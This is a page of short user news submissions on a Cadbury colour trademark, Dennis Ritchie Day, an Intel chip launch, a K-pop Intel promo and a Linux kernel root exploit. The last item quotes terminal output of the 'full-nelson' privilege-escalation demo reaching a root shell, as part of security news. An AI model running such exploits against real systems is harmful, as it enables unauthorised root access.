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Submission + - Trademark a color? (

noobermin writes: "The UK-based chocolate company – acquired by the food business Kraft in 2010 – applied for the trademark in October 2004, registering its right to use the colour purple (Pantone 2685c). But its rival Nestlé argued that colours could not be practically trademarked for commercial advantage.

Rejecting Nestle's appeal, Judge Colin Birss said in the high court in London: 'The evidence clearly supports a finding that purple is distinctive of Cadbury for milk chocolate.'"


Submission + - Dennis Ritchie Day (

noobermin writes: He says:

"I don't have the convening power of a Governor Brown, but for those of us around the world who care, I hereby declare this Sunday, October 30 to be Dennis Ritchie Day! Let's remember the contributions of this computing pioneer."


Submission + - Intel launches i7-2700k as a "response" to new Bul (

noobermin writes: They wrote:

Intel’s i7-2700K is the giant chip maker’s fastest chip based on its own Sandy Bridge architecture, which began appearing in Intel processors in January. The chip clocks in at 3.5GHz—which can climb to 3.9GHz, when leveraging Intel’s Turbo Boost technology—and is meant to challenge AMD’s most powerful FX chips.

It costs about 100 USD more than the new FXs


Submission + - SPAM: Kpop girl group record song promoting Intel

noobermin writes: It's common for kpop groups to advertize products in their music, but advertizing for computer companies, chipmakers in particular, is new in my books.

The song involves the repetition of the word `core' and a count off to the number four, possibly emphasizing the number of cores in intel's latest processors.

I'll admit I love the song, it's catchy :) Here is a youtube: [spam URL stripped]

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Submission + - Vulnerability found in linux kernel (

noobermin writes: From the source: "On the Full Disclosure security mailing list, Dan Rosenberg presents a small demo program which craftily combines several security holes to obtain root privileges on Linux systems[...]For instance, when tested by The H's associates at heise Security, Ubuntu 10.04 LTS "Lucid Lynx" readily loaded the Econet driver and presented a root shell after executing the demo exploit.
$ ./full-nelson
[*] Resolving kernel addresses...
[+] Resolved econet_ioctl to 0xffffffffa0b76510
[+] Resolved econet_ops to 0xffffffffa0b76600
[+] Resolved commit_creds to 0xffffffff8108aee0
[+] Resolved prepare_kernel_cred to 0xffffffff8108b2c0
[*] Calculating target...
[*] Triggering payload...
[*] Got root!
# id
uid=0(root) gid=0(root)

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